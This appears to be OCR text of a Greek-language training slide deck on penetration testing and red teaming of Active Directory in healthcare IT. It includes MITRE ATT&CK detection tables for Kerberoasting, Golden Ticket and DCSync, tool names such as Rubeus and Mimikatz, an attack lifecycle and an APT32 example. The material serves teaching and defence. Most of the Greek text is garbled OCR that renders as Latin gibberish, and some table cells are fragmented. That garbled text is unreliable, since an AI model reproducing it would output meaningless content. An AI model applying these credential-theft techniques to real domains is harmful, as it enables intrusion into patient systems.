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O pOAOC TV OOKIU®OV OlEIGOVONG KOl TNG
OUAO0C GTNV OGEAAELL TNG VYELOVOULKNG
nepiBaiyng

Ot dokpég deicdvong Kot 1 KOKKIvY opdda eivor

OVLGIMOELS Y10 TOV EVTOTIGLO

KOl TOV UETPLOCUO TMV svmoOe1OVv OL(S(pOLKSiOLg oTO HEALTHCARE DATA BREACHES OF 500+ RECORDS
GUGTNLLOTO VYELOVOUIKNG TTEPIBaAYNG. (2009-2023)
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KaBohg ot anelrég atov kuPepvoydpo avEdvovtat,
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Xpnon tov Active Directory ctov touéa
TNG VYELOVOUIKNG TEPIOAAWNC

O evepyog katdroyog (AD) drayepileton TaLTOTNTES, EAEYXOVS TPOSPAcNG TTOAMTIKEG 6E OAO. TA
otapopa cvotiuata IT vysiovoukng tepiBaiyng.

H AD oAoxAnpdvel pe KpIGIHLOL GUGTNLLOTA VYELOVOULIKN G TEPIBAAWYNG, OTTM®G
nNAeKTPOVIKEG Kataypapés acBevav (EHR), cvothuata diayeipiong acOevodv ko
TAATPOPUEG TNAETATPIKNC.

E&aocparilel eEopBoroyiopéveg Kol ac@aAeig AEITOVPYIES, OLELKOAVVOVTOGS T CULUUOPPOOT LLE

TOVLG KAVOVIGHLOVG VYEIOVOUIKNG TEPIOOAWYN G Kol TA TPOTLTTA TPOSTAGIOS OEQOLUEVOV.



Xpnon tov Active Directory octov topéa tng
VDYELOVOULKN G TEPIOaAYNC

Ot kowég gvmdbeieg tng AD meprrapufavouv tig embécelg Kerberoasting, Pass-the-Ticket kou Golden Ticket.

AvTég 01 evtdBeleg PTOPOVV va 0dMNYNGOoVV GE aveEovalododTNTN TpodcPfaon otovg EHR, og
dratapayes kpicumy Agttovpylh@v vyglovokng mepiboiyng kot g tapafiocn Tov
EUMGTEVTIKOV YOPAKTN PO TOV 0cOEVAOV.

Emumttoceig otov mpaypatikd koopo: H un eovcrodotnuévn npdcPaocn oe dedopeva
ac0evdv propel vo 00NYNGEL GE KAOT TAVTOTNTOG, OIKOVOULKT] OTTATY KOl VOUIKESG €0OVVEG.

Topadetypata Tpaypotikodv emntdcemv Tov euvtadeidv g AD ce oevdpila vyslovoknig mepifoiyng:
° Mn g€ovorodotnuévn npoécPacn os niekTpovika pntpoda vysiog (EHR):

O  Zevapro: O gykAnpatieg tov kuBepvoydpov ekpetairevovtal pua surddsio tng AD, 6mog

to Kerberoasting, yiwa va amoxthcouv 1o
TO SLOTTICTEVTI PO TOV TTPOCMOTTIKOD VYELOVOUIKNG TePifailyng tov £xel tpdoPacn ce
ocvothuote HOY.

O Enumtdoselg: AveEovslodotntn npdcPaon unopei vo odnynoet o £kdepo svaicOntov Sedouévov
ac0evdV, 1OTPIKNG 1OTOPLUG KOl TPOCHOTIK®OV dedOUEV®V, TOV 0dNYEL 6€ Tapafiacmn Tov
EUTIGTELTIKOV YOPUKTHPO TOV AcOevdv, duvnTiKd eKPlOGUO Kol KAOTTH TOVTOTNTAG, KOl VOLIKEG
EMUMTTAOGCELS Y10 TIG EYKOATACTAGELS VYEIOVOUIKNG TEPifaiync.

° HMapopicon amopaKpLoNEVOL LATPIKOV 0TGN0V

O  Xevépro: H enifeon Golden Ticket divel ctovg emtiOéUeEVOVS S10MIGTEVTN PO ATEPLOPIGTNG
TPOSPacnS TOV TOVG EMTPETOVV VA TPOGEYYIGOVV SUKTVMUEVES LATPIKEG GLGKEVES, OTTMWG VTEG
TTOV Y PN OLUOTOLOVVTOL GTNV TNAETNTPIKA 1 TNV OTOUAKPUCLLEVT] TAPAKOAOVOT|ON.

O  Eauwtdoszig: Avtd 0o propodoe va odnynoet o AovOlacuévn didyvoon, mopepforéc otic
OepamevTIKEG dl001KOCIEG 1] ALLEST] ATTOTLYIN TNG GLOKEVNG, BETOVTOG 08 KivOuvo TNV LYEiD TV
aG0EVOV Kol 00N YDOVTAS OVVNTIKA GE KATOGTAGELS TOL ATEILOVV TN (™1 TOLG.




AOKIUEC OlElGOVONC YO CLGTIULOTO
VDYELOVOULKN G TEPIOaAYNC

2TooL:
A&loAb6YN oM TG KATACTOGTG AGQAAEING TOV GLUGTNUATOV TOV OAOKANpOVovTol pe v AD.

AvATTLUEN AOYICUIKOD TTPOCUPUOGUEVOD GE TEPIPAALOVTA VYEIOVOULKNAG TEPIOAAYNG Yo TOV
EVTOTMIGUO AavOaGEVOV PLOUIGE®MY TOV GUGTNHOTOG KO EAOTTOLLATOV AOYIGUIKOD.

BonOnote 116 opyovdcelg vyglovopkng mepifoiyng va katovonoovy tny €k0ect toug og
OTEIAEG OTOV KLPEPVOYDPO, EMTPETOVTOS TPOANTTIKES BEATIOGELS.




Avaeopd Kol ¥pNGLULOTNTA TV ELPNUATOV

AemTOPEPNG AVOPOPA TV SOKIUAV JEIGILONG Yo TNV TEKUNPIOCT TOV
gLVTOOELDV, TOV GCLOTNUATOV TOV EKUETOAAEVTNKOV KOl TOV OLVNTIKOV
TopoPflracemv SE00UEVOV.

A&omoinon tov ava@opdv v TN PeATiOON TOV CTPATNYIKAOV aviyvELONGS KOl
ATOKPIONG GTO TAOIGIO TOV ETMLYELPNGEMV VYEIOVOUIKNG TEPTIOAAYTG.

Ot 0&L0TOMOIUEG TANPOPOPIES AT TIG AVAPOPES TV SOKIU®V deicduong Bonbodv
OTNV EPAPYNOT TOV EVNUEPDGEMY ACPOAELNG KOl TNG EKTAIOEVLONG TOV TPOGMOTIKOV
Y10 TOV LETPLACHO TMOV OTEIADV.




Amnelléc Active Directory:
MITRE ATT&CK

MITRE
ATT&CK.




MITRE ATT&CK: IInyéc oedouévmv

Data Sources

Data sources represent the various subjects/topics of information that can be c:
sub-technique

ted by sensors/logs. Data sources also include data components, which identify specific properties/values of a data source relevant to detecting a given ATT&CK technique or

Data Sources: 41

D Name Description
DS0026 = Active Directory A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)
DS0015 = Application Log Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native 0S or platform)

DS0041  Application Vetting ~ Application vetting report generated by an external cloud service.

DS0039 = Asset Data sources with information about the set of devices found within the network, along with their current software and configurations

DS0037  Certificate A digital document, which highlights information such as the owner’s identity, used to instill trust in public keys used while encrypting network communications

DS0025 | Cloud Service Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs

DS0010 | Cloud Storage Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APis

DS0017 | Command A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task

DS0032 | Container A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another

DS0038 = Domain Name Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)

DS0016 | Drive A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter

DS0027 | Driver A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to

access hardware functions without needing to know precise details about the hardware being used

DS0022 | Fi

@

A computer resource obiect. managed by the I/0 system. for storina data (such as imaaes. text. videos. computer programs, or any wide variety of other media)



MITRE ATT&CK: Aitnon dwametevtnpiov Active
Directory

Active Directory: Active Directory Credential Request

A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)
Domain ] Name Detects

Enterprise 71649 Steal or Forge Monitor AD CS certificate requests (ex: EID 4886) as well as issued certificates (ex: EID 4887) for abnormal activity, including unexpected certificate enroliments and signs of abuse within certificate
ion attributes (such as abusable EKUs).”)

Enterprise  T1558 Steal or Forge Kerberos Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket
Tickets granting service (TGS) requests without preceding TGT requests. onitor the lifetime of TGT tickets for values that differ from the default domain duration."® Monitor for indications of Pass the
Ticket being used to move laterally.

01

Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4769, 4768), RC4 encryption within TGTs, and TGS requests without preceding TGT
requests. Monitor the lifetime of TGT tickets for values that differ from the default domain duration. Monitor for indications of Pass the Ticket being used to move laterally.

003 Kerberoasting Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex:
accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17])

004 AS-REP Roasting Monitor for anomalous activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests, Particularly investigate irregular patterns of activity (ex: accounts
making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17), pre-authentication not required [Type: 0x0)).

Enterprise  T1550 Use Alternate Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, such as Windows EID 4769 or 4768, that may use alternate authentication material, such as password hashes,
Auth ion Material Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

002 Pass the Hash Monitor requests of new ticket granting ticket or service tickets to a Domain Controller. Windows Security events such as 4768 (A Kerberos i ticket (TGT) was and 4769 (A
Kerberos service ticket was requested) combined with logon session creation information may be indicative of an overpass the hash attempt

003 Pass the Ticket Monitor requests of new ticket granting ticket or service tickets to a Domain Controller, Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has
been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to “Integrity check on decrypted field failed" and indicates misuse by a previously
invalidated golden ticket !



MITRE ATT&CK: IIp6écBaon o€ avtikeipevo Active
Directory

Active Directory: Active Directory Object Access

Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)

Domain D Name Detects
Enterprise  T1615 Group Policy Monitor for abnormal LDAP queries with filters for groupPolicycontainex and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory
Discovery service has been accessed
Enterprise 71003 08 Credential Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. 7/ ! ) Note: Domain controllers may not log replication requests originating from
Dumping the default domain controller account. "%, Monitor for replication requests ' from IPs not associated with known domain controllers. /%
006 DCSync Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.”) €} ) Note: Domain controllers may not log replication requests originating from the

default domain controller account.!

:.',

Enterprise 71033 System Owner/User Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. /1 ! ) Note: Domain controllers may not log replication requests originating from ﬂ
Discovery the default domain controller account. ['%), Monitor for replication requests "'/ from IPs not associated with known domain controllers. ['2




MITRE ATT&CK: Anuiovpyia ko otaypoen
AVTIKELLEVOV EVEPYOD KATAALOYOV

Active Directory: Active Directory Object Creation

Initial construction of a new active directory object (ex: Windows EID 5137)
Domain ) Name Detects

Enterprise 71098 .005 = Account Manipulation: Device Registration Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA.""%l

Enterprise 71484 Domain Policy Modification Monitor for newly constructed active directory objects, such as Windows EID 5137.

001 = Group Policy Modification Monitor for newly constructed active directory objects, such as Windows EID 5137.

002 = Domain Trust Modification Monitor for newly constructed active directory objects, such as Windows EID 5137,

Enterprise 71207 Rogue Domain Controller Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects."*

e
Active Directory: Active Directory Object Deletion

Removal of an active directory object (ex: Windows EID 5141)
Domain D Name Detects

Enterprise  T1484 Domain Policy Modification Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.

001 Group Policy Modification Monitor for unexpected deletion of an active directory object, such as Windows EID 5141.




MITRE ATT&CK: Tpomomoinon aviikeluéEvov evepyon
KOTAAOYOV

rectory: Active Dire

Active

ry Object Modification

Changes made to an active directory object (ex: Windows EID 5163 or 5136)

lonitor for changes to account management events on Domain Controflers for successful and falled changes to SID-History.

Enterprise  T1531 n Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc )

Enterprise | T1098 Account Manipulatios Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA
g joming

Enterprise

Monitor for changes made in the Active Directory that may use scripts automatically executed at boot or logon initialization o establish persistence

n Script Monitor for changes made in the Active Directory that may use

logon scripts automatically executed at logon initializ

to establish persistence.

Domain Policy Modificat Monitor for changes made to AD settings for unexpected modifications to user

ccounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.).

ip Poticy Modification Monitor for changes made to AD settings for unexpected modifications to user accounts, such as deletions or potentially malicious changes to user attributes (credentials, status, etc.)

Monitor for changes made to AD settings for unexpected modifications to domai

trust set

ings, such as when a user or application modifies the federation settings on the domain.

Monitor for changes made to ACLS and file/directory ownership. Many of the commands used to modify ACLS and file/directory ownership are built-in system utiities and may generate a high faise positive alert rate, S0 compare against baseline knowledge for how s
typically used and correlate modification events with other indications of malicious activity where possibie.

ems are

sions  Monitor for changes made to DACLS and fiie/directory ownership. Many of the commands used to modify DACLS and flle/directory ownership are built-in System utilities and may generate a high faise positive al
are typically used and correlate modification events with other indications of malicious activity where possidle.

Implementation 1 : Access Permission Modification

trate, 5o compare against basekine knowedge for how systems

on Notes

« Pseudocode Event ID is for Windows Securty Log (Event ID 4670 - Pecmissions on an object were changed)

« We need to exclude events generated by the local system (subject security ID 'NT AUTHORITY\SYSTEM') and focus on actual user events.

« Wnen a permission modification is made for a foider, a new eventlog is generated for each subfoider and fie under that foider. It s advised to group fogs based on handie ID or user ID.

« EventID 4670 aiso includes information about the process that modifies the file permissions. It s advised to focus on uncommon process names, and it i also uncommon for reak-users to perform this task
indows Event ID 4719 (An Attempt Was Made to Access An Object) can aiso be used to alert on changes to Active Directory audit policy for a system.

Detecti

taGul

Enterprise thentication Proces Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications
S Reversible Encryptio Monitor property changes in Group Policy: Cemputas passwords u By defaut, the property shoul
6 | MultiFactor Aut n Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies o the registration of new MFA applications
Enterprise  T12 E Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). /'

Enterprise | T1649 Monitor for changes to CA attributes and settings, such as AD CS certifi icate is enrolied) =

template modifications (ex: EID 4899/4900 once a potentially malicious cer




MITRE ATT&CK: Avalntnon yopoKTnpIGTIKOV Kol
TEPLYPOAPDOV CUYKEKPIUEVOV EMOEGEDV

Steal or Forge Kerberos Tickets: Kerberoasting

Other sub-techniques of Steal or Forge Kerberos Tickets (4) A 1D: T1558.003
D Name Sub-technique of: T1558
@ Tactic: Credent
T1558.001 Goiden Ticket @ Platforms: Windows
i~ ; < \Vafi ; apT
T1558.002 Siiver Ticket @ System quuxremen(s Valid domain account or the ability to sniff
traffic within a domain
T1558.003 Contributors: Praetorian
Version: 12
T1558.004 AS-REP Roasting
B A fEr Roasing Created: 11 February 2020
Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Last Modified: 30 March 2023

Version Permalink

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with

at least one service logon account (an account specifically tasked with running a service™)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a

domain controller (DC)." Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account

associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.

This same behavior could be executed using service tickets captured from network traffic. "%

Cracked hashes may enable Per: ation, and Lateral Movement via access to Valid Accoun




MITRE ATT&CK: Avalntnomn ¥opoKTnpIeTIKOV Kol
TEPLYPOAPDOV GCUYKEKPIUEVOV EMOEGEDV

Procedure Examples

Name

Brut

C4 can decode Kerberos 5 tickets and convert it to hashcat format for subsequent cracking.®!

S0363 | Empire Empire uses PowerSploit's Inveke-Kerberazsz to request service tickets and retur crackable ticket hashes.™

G0046 | FIN7 FIN7 has used Kerberoasting for credential access and to enable lateral movement '%

80357 | Impacket Impacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat I'"
C0014  Operation Wocao During Operatio 0, threat actors used PowerSploit's Tnvoke-Kerberoasz module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.['2

0194  PowerSploit PowerSploits Invoke-¥erberoast module can request service tickets and return crackable ticket hashes. ¥

$1071 | Rubeus Rubeus can use the KerberosRequestorSecurityToken. GerRequest Method to request kerberoastable service tickets "

S0692 | SILENTTRINITY SILENTTRINITY contains a module to conduct Kerberoasting 113l

C0024 nds Compromise  During the SofarWinds Compromise, APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline. g

G0102 = Wizard Spider Wizard Spider has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes."




MITRE ATT&CK: Avalntnon yopoKTInpioTIKOV Kol
TEPLYPOAPDOV GCUYKEKPIUEVOV EMOEGEDV

Mitigations
D Mitigation Description

M1041 | Encrypt Sensitive Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible.

Information
M1027 = Password Policies Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. Also consider using Group Managed Service Accounts or another third
party product such as password vaulting
M1026 Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators @
Management
Detection
D Data Source Data Component Detects

DS0026 = Active Directory = Act

Cre

Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate ireqular patters of activity

al Request (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17])
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Tt elvolr n KOKKIVN opdoa
Agrtovpyieg tng Kokkivng Oudodoc

O  Zkomdg tmwv Aettovpyikdv s Kokkivng Opddog: ITpocopoidvovupe
emB£cEIg TANPOVG PACHATOG Y10 SOKIUES ACPAAELNG GE OAT TNV YNOLUKN
VITOJOLLY], TOVG VITAAANAOVGS, TIG EPAPLOYES KOL T PLCLIKT] ACPAAELNL.

O TIpocouoi®mon TPAYUATIKOV OVTUTAA®V: AVOTapaywyn TEXVIKOV ToV
APNOLOTOLOVVTUL OTTO TPAYLLATIKOVS OVTITTAAOLGS Y10 TV ITOKAALYT)
gvTOOELDOVY Ko TNV aS10A0YNON TOV CUVVTIKOV OLVOTOTTOV TNG ETAPELNG.

O ITpng kdKhog Lmng emtiBeong: Ot Aettovpyieg KAADTTOLY OAOKAN PO TOV
KOKAO (oNG (oG emifeong, TopEYoviog Hio OAOKANPOUEVT a&loAdynon
NG ETOUOTNTOS ACPAAELOG.

O Amoxoidmrovtag evmddeieg: Evtonilel moAAamAoVg popeig emifeong
Kot advvapieg mov cvvNnBwc dev evTomiLOVTUL OTIG TUTIKEG SOKIUEG
dieicdvonc.

.CyberSecPro @
BY NC SA




Tt elvolr n KOKKIVN opdoa

Enidpaon ko evooudtmon pe tnv Umhe
ouaoa

O  Egapudéoa amoteréocpata: Ta svprpota thg Koxkivng Oudadag
XPNGLOTOL0VVTOL V1o TN PEATimoN TV HETPOV acPUAEing Kot TNV
TPOETOAGTO Y10 SVVNTIKEG ATTEIAEC.

CyberSecPro

O Xvvepyooio pmie opddog:

O  Poélog g nmie opddag: Enayyelpatieg acpareiog ETPOPTIGUEVOL LLE TOV EVIOTIGLO
gUTOOEIDV, TNV ATOKATACTAOT KOl TV ETOANOEVOT TNG AMOTEAEGHATIKOTTAG.

A

O XpNoWoToldVTOG TO OMOTEAECHATO: AVATTLEN LITOYPAPHOV Yo KAKOBOVLAO AOYIGHIKO,
vAomoinon dlocEaAicE®V Kol
eVIoYLON NG AGPAAELNG TV VTOSOUDV.

~ CYBERSECURITY
.COMPETENCE
)EVELOPME

O Exmaidevon kot Beitioon cueTHUOTOC:

O Exmtoudedote TOLG VTOAANAOVG VO, AVTIGTEKOVTOL OTNV KOW®VIKT] UNYOVIKT).

O Evnuepooelg yio 816pOmwon acpaieiog Tov evionicTnkay Katd T SidpKelo TOV
AELITOLPYIKDV SOKIUDV.

ttlng-edge education and train

aterials ang Courses to advane
peﬁencnes and Professiongli
in EU cybersecurity.

o IIpocopoimon APT: Ot k6KkKiveg OLASEG TTPOGOLOLDVOLV TEXVIKEG TPONYUEVOV ETIHLOVOV
OTEIADV Y10 QOKIUEG LOKPOTPOOEGUMV AUVVTIKDOV HUNYOVICU®DV.

BY NC SA




Koxkivn opdoa VS AokKiueg dteicovong

KaBopiopévo medio epapproyng

X PNOLLOTOLELTAL Y10 TOV EVTOTIGUO KO TNV
ekpetdiievon gvmdbelog

TTapéxetl ava@opd ELPNUATOV TOV
XPMNOLULOTOLOVVTAL KOTO GUVETELN ATTO TIG
ETALPEIEG Y10 VO EVILEPDGOVV, VO
OKANPHVOLV KUl VO OGOAAIGOVV TIG VTTOSOUEG
TOVG.

IIpoAnmtikn ce avtibeon pe v aviyvevtikn. Ot
doKuUéEG dleicdvong givar YPTNOILES Yo TOV
evtomiod Evtabeidv kot anelldv, ®ctdc0o dev
ToPEYOLV ASIOTOMN GO OTTOTEAEGLOTO TTOV
UTOPOVV VO XPT|GLULOTOINO0VV Yio TNV
TPOANTTIKT] AVIYVELOT OTEILDV OTO UEAAOV.

Xwpic kaBopiouévo TeEdio EPaPUOYNG

E&opoidvel T copumeptpopd TdV avTutdAoy

Xpnowomoteital yio tTnv a&loAdynon g
AVOEKTIKOTNTAG HLOG OPYAVOGNG £VOVTL
EMOECEMV AVTUTAA®V.

IMoapéxel a&lomom oo AmoTEAECLLOTO TOV
WITopovV va. xpnoiporotnbovv yia tnv
aviyveovon.




KvkAoc Cong eniBeong

Maintain Lateral

Presence Movement

’
/
' \
! \
A

Initial Initial Establish Escalate ‘ Internal Complete
Recon -‘ Compromise =i Foothold == Privileges — Recon = Mission ‘

21adia piag Tumknc KuBepvoeniBeonc:

Apxikn} Avayvwpton (Initial Recon) & EvTomopndg eKUETAAEVCIHWY eUTTABELWV OTOV OTOXO - ApXIKA Aleioduon
(Initial Compromise) & Altoktnon apXIkng mpdéofaong ato mepIBAarlov Ttou otodxou. - ESpaiwon MNpdcBaong
(Establish Foothold) & Evioxuon tng mapouaciag evtdg tou otoxou yia va SiatnpnBei n mpocofaon. - Avapaduion
Alkawwpdtwy (Escalate Privileges) & Anmoktnon Slamoteutnpiwv XpnoTtwv Pe avénuéva mpovopia. - Ecwtepikn
Avayvwpion (Internal Recon) & Evtomopég Kpioipwy 6e60UéVWY eVTOG TOU CUOTAMATOC. - OAOKARpwON
AmooTtoAric (Complete Mission) & Zul\oyrj, cuokeuacoia Kat KAOTIH Twv OeSOUEVWV-OTOXWV.

MapdmAevupeg Evépyeleg: Alatpnon MNapouciag (Maintain Presence) & Mapapovr) 0to cuoTNUA yla pakpoxpovia
npdéofaon.

MAevupikn Kivnon (Lateral Movement) & Metakivnon evtdg Tou SIKTUou yia mpooBoln mpdoBeTwy cuoTNUATWY N
AOYapPLaCUWV.




KvkAloc Cong emiBeong-Apyikn avayvmopion

Attack Lifecycle — Initial Reconnaissance

s Open source intelligence gathering
e Network and application reconnaissance
e Remote access identification

Maintain Lateral
Presence Movement
e
')
Initial |\ § Establish |\ ' Escaiste | ¥ internal B ¥ Complete 1§
-, Comprom:se " " Foothold - Privileges _ Recon “J- | Mission -

>

KOkAog Zwng EmiBeong — Apxikn Avayvwplon

ZUANoyn MANPOQPOPLIWY ATTO AVOIKTEG TTNYEC
Avayvwptlon SIKTUOU Kadl EQApUOYWV

Evrtomiopog SuvatotATwy amopakpuouévng nmpdéofaong




KbVkioc Conc enibeong

Attack Lifecycle — Initial Compromise

e Social engineering
e Internet-based attack
e Leverage service provider

Initial
Recon

Initial

: L' Establish
Compromise =

1, Foothold

KolvwviKr pnxavikn
EniBeon péow Siadiktuou
Aélomoinon mapoxXou UTTNPECIWYV

- Apy1Kn VTTOKAOTN




Kvkiog Cong emiBeonc-Eykabiopvon
EPEIGUATOV

Attack Lifecycle — Establish Foothold

e Backdoors
e Remote access subversion

gy

Maintain Lateral

Presence Movement
’ >

Initial f Initial y Establish N Escalate | Y Internal | | Complete |
0 Recon ,_ Comprornlse - Foothold ;_u Privileges ‘,-4) Recon — % Mission ‘
o, 4 \ / | W W y 0, M
& ;1,' A \ A & N 4

!/

Kepkomopteg (Backdoors)
Ymovoueguon amouakpuopévng mpdofaong




Kvklog Cong enifeonc- KAMpdakowon
TPOVOULWDV

Attack Lifecycle — Escalate Privileges

e Credential harvesting
e Password cracking
e Pass-the-Hash

Maintain Lateral
Presence Movement
/, s
/
> - - .y
; S X N
' 4 % r N
Initial 3 Initial 5 I Establish f Escalate § & Internal | & Complete |
Recon - Compromlse - Foothold _ Privileges J WL oo o 4.‘.?-{_ Mission -

4
Lo & = &

>uMhoyn SiamoteuTtnpiwy
Inidoipo Kwdikwyv mpoéofaong
Texvikn Pass-the-Hash




Ecwtepikn

Kvxkioc Comg eniBeong
aVOTOPAGTOCN

Attack Lifecycle — Internal Reconnaissance

e Critical system identification
e System enumeration
e Account and password enumeration
Maintain Lateral
Presence Movement
y ‘:\"‘C ’ - / ""‘\:\;\ k N
Y onital b initial Establish |\ f Escalate d internal ¥ Compiete
Recon - Compromlse “‘_, Foothold -‘ Privileges | ; Recon Mission "‘f-

Avayvwplon Kpioluwyv cuoTnUATWY
Kataypaen/AnapiBunon cuotnpdtwv
Kataypaen/AnapiOunon Aoyaplacpwy Kail Kwdikwv mpoofaong



Kvklog Cong eniBeonc- [TAevpikn kivnon

Attack Lifecycle — Lateral Movement

e Remote command execution
o Remote administration tools

LT K | pe—
Maintain Lateral
Presence Movement
,
O ETR P =~ =
P 2, V 4 R - "':;,. " 4 '\i'f‘\‘\ 4
' 4 | ! 4 | 4 ! 4 | ' 4 ) / 4

& ) / ? \ A [ | ) kY p ) |
) Initial A L Initial ! " Establish ) | Escalate 4 { Internal | ~  Complete b
L} Recon - Compromise "-"' Foothold ,;.-i;, Privileges A- Recon /- Mission ‘,;H
& F 4 '\ /,"/"l/ W y &
o h W ” 4 :

ame ST S g s> Seamee

ATTOMOKPUGOUEVN EKTENEDN EVTOAWY
EpyaAeia amopakpuopévng draxeipiong




Kvkhioc Cong enibBeonc - Atatnpnon
TAPOVGLOC

Attack Lifecycle — Maintain Presence

e Command and control
e Remote access subversion
e Account abuse

Maintain Lateral
Presence Movement
’ '\

‘
EIEER ==X =N ==

W
W

Initial : Initial | “‘. Establish | V' Escalate | Internal | | Complete |
Recon '- Compromase - Foothold - Privileges | Recon - Mission ‘
Y & y y j:f' : ‘;-,' L n

‘EAeyxoc kat Sioiknon
YovoELoN ATTOPAKPUOUEVNG TTpOoBaong
Katdyxpnon Aoyaplacpou




Kvkhoc Cong eniBeong - OAokAnpmon
OTTOGTOANG

Attack Lifecycle — Complete Mission

Data staging

Data exfiltration
Data modification
Data destruction

A LR
Maintain Lateral
Presence Mavement
II .
’ A
= = == P T ==y,
"‘.‘::_ p = ._\’ V 4 \ /. A ;;1. y X \“; \
¥ Initial Initial 1§ I Establish |} & Escalate | © Internal

Recon -, Compromise /i;?-',‘_ Foothold '_ Privileges - Recon

Mpoetolpacia Sedopuévwv
E€aywyn 6edopévwv
Tpomonoinon dedopévwy
Kataotpoor dedopévwy




KvkAoc Cong eniBeong - APT32

Attack Lifecycle — APT32

Scheduled Tasks
Cobalt Strike BEACON

Initial Initial Establish
Recon Compromise Foothold
Gathered Phishing email =  WINDSHIELD
names / email w/ ActiveMime » KOMPROGO
addresses to attachment « SOUNDBITE

spear phish « PHOREAL

Maintain
Presence
’

Escalate

Privileges —

CVE-2016-
7255
MIMIKATZ

Lateral
Movement

Internal
Recon

SysAdmin
Utilities
PowerShell
Commands

1. Apxikn Avayvwpton: ZuAoyn ovopdtwy / email yia xprion oe spear phishing
2. Apxikn Algioduon: Phishing email pe ActiveMime cuvnupévo
3.E6paiwon Mpoofaonc: Xprion epyaieiwv omwc: WINDSHIELD, KOMPROGO, SOUNDBITE, PHOREAL
4. AvadBuion Alkaiwpdtwy: EkuetdAevon eundBelag CVE-2016-7255, Xprion epyalgiov MIMIKATZ
Alatripnon mapovoiag: Mpoypaupatiopéveg Epyacieg,Cobalt Strike BEACON
5. Eowtepikn Avayvwpton: SysAdmin Utilities, PowerShell Evtolég

MAgvupikA Kivnon:
Xprion TomKwv SIaXEIPIOTIKWY AOYAPIACHWY

Local Admin
Account Usage

Complete
= Mission -

Access to:
VPN
Emails
Files
Web Browsing Data

6. OhokArjpwon AmootoAric: Mpdofaon oe: VPN, Email, Apxeia, Aedopéva meptiynong




Evepyoc katdAoyoc
nep1PAArovTog KuPepvoympov-
GOAD

A

sevenkingdons\ robert .baratheon
domain admin

sevenkingdoms\cersei. lanmister
donain adain 2

o
e

north\eddard.stark

bot 5min (LLMNR query)
north\robb. stark Gommily mduis ‘Small Councit
bot 3min (LLMNR query)
€01 - Kingstandi
north\catelyn.stark _-— 192 m';g?o mng essos\daenerys.targaryen
admn Windows Server 2019 domain admin
‘sdmen
sevenkingdoms.local 00
wust s ROP LY
. / Targaryen
RO
DCO2 - wintertel
192.16856.11 0co3.- meereen
Vindows Server 2019
:. pospbeghende Windows server 2016
Starks
ROP,
o LY )
PN am
o - 3 e . o
Night Waich SRVO3 - braavos
st steBlack 192 168.56.23 samn
aay Brtrrg Windows server 2016 masa. s
